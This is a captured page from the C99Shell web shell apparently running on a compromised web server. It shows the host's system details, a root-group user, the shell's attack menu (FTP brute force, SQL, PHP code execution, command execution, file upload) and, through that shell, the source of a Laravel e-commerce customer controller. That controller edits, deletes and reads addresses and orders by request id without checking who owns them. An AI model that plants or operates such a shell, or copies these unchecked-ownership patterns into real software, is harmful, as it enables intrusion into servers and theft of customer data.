!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/app/Http/Controllers/Frontend/   drwxr-xr-x
Free 29.39 GB of 117.98 GB (24.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomerController.php (15.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Frontend;
use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
App\Traits\CustomFileTrait;
use 
App\Models\User;
use 
App\Models\Product;
use 
App\Models\Customer;
use 
App\Models\Country;
use 
App\Models\Order;
use 
App\Models\Shipping;
use 
Validator;
use 
File;
use 
DB;
use 
Auth;
use 
Hash;
use 
Carbon\Carbon;

class 
CustomerController extends Controller
{
   private 
$getUser;
   use 
CustomFileTrait;
   protected 
$path '';

   public function 
__construct()
   {
      
$this->path public_path(config('constant.file_path.user'));
      
$this->middleware(function ($request$next) {
          
$this->getUser Auth::guard('customer')->user();
          return 
$next($request);
        });
    }

  
//user dashboard
  
public function userDashboard() {
      
$recentOrders Order::where('customer_id',$this->getUser->id)->latest()->take(10)->get();
      
$this->buildSeo('User Dashboard',['otrixcommerce','User Dashboard'],url()->current(),'User Dashboard - Account data,Order History');

      return 
view('frontend.user.dashboard',compact('recentOrders'));
  }

  
//get customer details
  
public function getCustomerDetails() {
       return  [
'status' => 1,'data' => $this->getUser ];
   }

   
//add address
   
public function addAddress(Request $request) {
     try {
        
$validator Validator::make($request->all(),[
                
'name'          => 'required|regex:/^[\pL\s\-]+$/u',
                
'country_id'     => 'required|max:10',
                
'city'     => 'required|max:100',
                
'postcode'     => 'required|max:10',
                
'address_1'     => 'required',
             ],[
               
'name' => 'Name is required',
               
'country_id' => 'Country is Required',
               
'city' => 'City is Required',
               
'postcode' => 'Postcode is Required',
               
'address_1' => 'Address 1 is Required'
             
]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$storeData $request->except(['_token']);
           if(
$this->getUser){
             
$storeData['customer_id'] = $this->getUser->id;
           }
           else {
             
$storeData['session_id'] = session()->getId();
             
$storeData['email'] = $request->email;
             
$storeData['mobile'] = $request->mobile;
           }

           
$storeAddress DB::table('customer_address')->insertGetId($storeData);
           
$addresses DB::table('customer_address')->join('country','country.id','=','customer_address.country_id')->select('customer_address.*','country.name as country')->where('customer_address.id',$storeAddress)->first();
           
$countries Country::where('status','1')->select('id','name','iso_code_3','postcode_required','status')->orderBy('name','ASC')->get()->toArray();

           return  [
'status'=> 1,'message'=>'Address added successfully!','countries' => $countries,'addresses' => $addresses ];
      } catch (
\Exception $e) {
        return [
'status' => 0'message' => 'Error'];
      }
   }

   
//edit address
   
public function editAddress(Request $request) {

     try {
        
$validator Validator::make($request->all(),[
                
'name'          => 'required|regex:/^[\pL\s\-]+$/u',
                
'country_id'     => 'required|max:10',
                
'city'     => 'required|max:100',
                
'postcode'     => 'required|max:10',
                
'address_1'     => 'required|max:128',
             ]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$storeAddress DB::table('customer_address')->where('id',$request->id)->update($request->except(['_token']));
           
$addresses DB::table('customer_address')
           ->
join('country','country.id','=','customer_address.country_id')
           ->
select('customer_address.*','country.name as country');
           if(
$this->getUser){
             
$addresses =$addresses->where('customer_address.id',$request->id);
           }
           else {
             
$addresses =$addresses->where('customer_address.session_id',session()->getId());
           }

            
$addresses =$addresses->first();

           return  [
'status'=> 1,'message'=>'Address updated successfully!','address' => $addresses ];
     } catch (
\Exception $e) {
       return [
'status' => 0'message' => 'Error'];
     }

   }
   
//delete address
   
public function deleteAddress(Request $request) {
        try {
          
DB::table('customer_address')->where('id',$request->id)->delete();
          
$addresses DB::table('customer_address')
          ->
join('country','country.id','=','customer_address.country_id')
          ->
select('customer_address.*','country.name as country');
          if(
$this->getUser){
            
$addresses $addresses->where('customer_address.id',$request->id);
          }
          else {
            
$addresses $addresses->where('customer_address.session_id',session()->getId());
          }

          
$addresses =$addresses->get();

          return  [
'status'=> 1,'message'=>'Address deleted successfully!','addresses' => $addresses ];
        } catch (
\Exception $e) {
          return [
'status' => 0'message' =>'Error'];
        }
   }
   
//update profile
   
public function updateProfile(Request $request) {

     try {

           
$validator $request->validate([
               
'firstName' => 'required|max:255',
               
'telephone'=> 'required|max:10',
               
'email'=> 'required',
           ],[
'firstName' => 'First name is required',
              
'telephone' => 'Mobile number is required',
              
'email' => 'Email Address is required'
         
]);

           if(
$request->hasFile('profile')) {
             
$this->createDirectory($this->path);
             
$imageName $this->saveCustomFileAndGetImageName(request()->file('profile'),$this->path);
             
Customer::where('id',$this->getUser->id)->update(['image' => $imageName]);
           }

           
$update Customer::where('id',$this->getUser->id)->update($request->except(['_token','profile']));
           
$getNew Customer::select('firstname','lastname','email','image','creation','telephone')->findOrFail($this->getUser->id);
           return 
redirect()->back()->with('commonSuccess','Profile Successfully Updated');
    } catch (
\Exception $e) {
      return 
redirect()->back()->with('commonError','Error');
    }
   }
   
//add/update to wishlist
   
public function addUpdateWishlist(Request $request) {
      try {

        
$validator Validator::make($request->all(),[
                
'product_id'     => 'required|max:11',
             ]
           );

         if (
$validator->fails())
         {
           
$message $this->one_validation_message($validator);
             return  [
'status' => 'message' => $message];
         }

        
$find DB::table('wishlist')->where('product_id',$request->product_id)->where('customer_id',$this->getUser->id)->first();
        
$msg '';
        
$add 1;
        if(
$find) {
            
DB::table('wishlist')->whereId($find->id)->delete();
              
$msg 'Product successfully removed from wishlist!';
              
$add 0;
        }
        else {
          
DB::table('wishlist')->insert([
            
'customer_id' => $this->getUser->id,
            
'product_id' => $request->product_id,
          ]);
          
$msg 'Product successfully added to wishlist!';
          
$add 1;
        }

        
$wishlistData DB::table('wishlist')->where('customer_id',$this->getUser->id)->get();

        return  [
'status'=> 1,'message'=>$msg,'wishlistData' => $wishlistData,'add' =>    $add   ];

      } catch (
\Exception $e) {
        return 
redirect()->back()->with('commonError','Error');
      }
   }
   
//wishlist data
   
public function getWishlist() {
     try {

       
$productID = [];
       
$productID DB::table('wishlist')->where('customer_id',$this->getUser->id)->pluck('product_id');

       
$wishlistData Product::select('id','image','model','price''quantity','sort_order','status')
           ->
with('productDescription:name,id,product_id','special:product_id,price,start_date,end_date')
           ->
orderBy('product.sort_order','ASC')
           ->
whereIn('product.id',$productID)
           ->
paginate($this->defaultPaginate);

           
$this->buildSeo('User Wishlist',['otrixcommerce','User Wishlist'],url()->current(),'User Wishlist');

       return 
view('frontend.user.wishlist',compact('wishlistData'));
     } catch (
\Exception $e) {
       return 
redirect()->back()->with('commonError','Error');
     }
   }
   
//change password
   
public function getChangePassword(Request $request) {
      try {
        
$this->buildSeo('Change Password',['otrixcommerce'],url()->current(),'');

        return 
view('frontend.user.changepassword');
      } catch (
\Exception $e) {
        return 
redirect()->back()->with('commonError','Error');
      }
   }
   
//do change password
   
public function changePassword(Request $request) {
          
$validator $request->validate([
              
'current_password' => 'required|max:255',
              
'new_password'=> 'required',
              
'confirm_password'=> 'required|same:new_password'
          
],['current_password' => 'Old password is required',
              
'new_password' => 'New password is required',
              
'confirm_password' => 'Cofirm password does not match'
        
]);

          
$current_password $this->getUser->password;
          if(
Hash::check($request->current_password$current_password))
          {
            
$customer Customer::find($this->getUser->id);
            
$customer->password Hash::make($request->new_password);
            
$customer->save();
            return 
redirect()->back()->with('commonSuccess','Password successfully changed');
          }
          else {
            return 
redirect()->back()->with('commonError','Current password wrong!');
          }

   }
   
//change profile image
   
public function changeProfilePicture(Request $request)
    {

      try {
        
$validator Validator::make($request->all(),[
                
'image'     => 'required|image|mimes:jpeg,jpg,png|max:512',
             ]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$this->createDirectory($this->path);
           
$imageName $this->saveCustomFileAndGetImageName(request()->file('image'),$this->path);
           
Customer::whereId($this->getUser->id)->update(['image'=>$imageName]);
           
$getNew Customer::select('firstname','lastname','email','telephone','image','creation')->findOrFail($this->getUser->id);
           return  [
'status'=> 1,'message'=>'Profile image uploaded!','data' => $getNew ];

      } catch (
\Exception $e) {
        return 
redirect()->back()->with('commonError','Error');
      }

   }

   
//add review
   
public function addReview(Request $request) {
      try {
        
$validator Validator::make($request->all(),[
                
'text'     => 'required',
                
'rating' => 'required'
             
]
           );

           if (
$validator->fails())
           {
             
$message $this->one_validation_message($validator);
               return  [
'status' => 'message' => $message];
           }

           
$find DB::table('review')->where('customer_id',$this->getUser->id)->where('product_id',$request->product_id)->first();

           if(
$find) {
             
DB::table('review')
             ->
where('customer_id',$this->getUser->id)
             ->
where('product_id',$request->product_id)
             ->
update([
               
'product_id' => $request->product_id,
               
'customer_id' => $this->getUser->id,
               
'text' => $request->text,
               
'rating' => $request->rating,
             ]);
           }
           else {
             
DB::table('review')->insert([
               
'product_id' => $request->product_id,
               
'customer_id' => $this->getUser->id,
               
'author' => 'admin',
               
'text' => $request->text,
               
'rating' => $request->rating,
               
'status' => '1'
             
]);
           }


           return 
redirect()->back()->with('commonSuccess','Review successfully submited!');

      } catch (
\Exception $e) {
        return 
redirect()->back()->with('commonError','Error');
      }
   }

   
// get address
   
public function getAdress() {
      try {
        
$address DB::table('customer_address')
        ->
select('customer_address.*','country.name as country')
        ->
join('country','country.id','=','customer_address.country_id')
        ->
where('customer_id',$this->getUser->id)
        ->
get();

        
$countires Country::where('status','1')->select('id','name','iso_code_3','postcode_required','status')->orderBy('name','ASC')->get();
        
$this->buildSeo('Manage Address',['otrixcommerce','Manage Address'],url()->current(),'');

        return 
view('frontend.user.manage-address',compact('address','countires'));

      } catch (
\Exception $e) {
        return 
redirect()->back()->with('commonError','Error');
      }
   }
   
//order list
   
public function getOrdersList() {
    try {
       
$orders Order::with('orderStatus:name,id','products:name,quantity,image,order_id,product_id,total')
       ->
select('id','invoice_no','order_date','grand_total','order_status_id')
       ->
where('customer_id',$this->getUser->id)
       ->
orderBy('order.order_date','DESC')->paginate($this->defaultPaginate);
       
$this->buildSeo('My Orders',['otrixcommerce','My Orders'],url()->current(),'');

       return 
view('frontend.user.orderlist',compact('orders'));
    } catch (
\Exception $e) {
      return 
redirect()->back()->with('commonError','Error');
    }
   }

   
//get specific address
   
public function getAddress(Request $request) {
      try {
        
$address DB::table('customer_address')
        ->
select('customer_address.*','country.name as country')
        ->
join('country','country.id','=','customer_address.country_id')
        ->
where('customer_address.id',$request->id)
        ->
first();
        return [
'status' => 1,'data' => $address];
      } catch (
\Exception $e) {
        return 
redirect()->back()->with('commonError','Error');
     }
   }

   
//getorder details
   
public function orderDetails($id,Request $request) {

      try {
        
$order Order::with('orderStatus:name,id','products:price,name,quantity,image,order_id,product_id,total')
        ->
where('order.id',$id)
        ->
orderBy('order.order_date','DESC')
        ->
first();

        
$this->buildSeo('Order Details',['otrixcommerce','Order Details'],url()->current(),'');

         return 
view('frontend.user.orderdetails',compact('order'));
      } catch (
\Exception $e) {
        return 
redirect()->back()->with('commonError','Error');
      }


   }

   public function 
one_validation_message($validator)
   {
      
$validation_messages $validator->getMessageBag()->toArray();
      
$validation_messages1 array_values($validation_messages);
         
$new_validation_messages = [];
         for (
$i 0$i count($validation_messages1); $i++)
         {
             
$inside_element count($validation_messages1[$i]);
              for (
$j=0$j $inside_element$j++)
              {
                
array_push($new_validation_messages,$validation_messages1[$i]);
              }
         }
      return 
implode(' ',$new_validation_messages[0]);
   }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--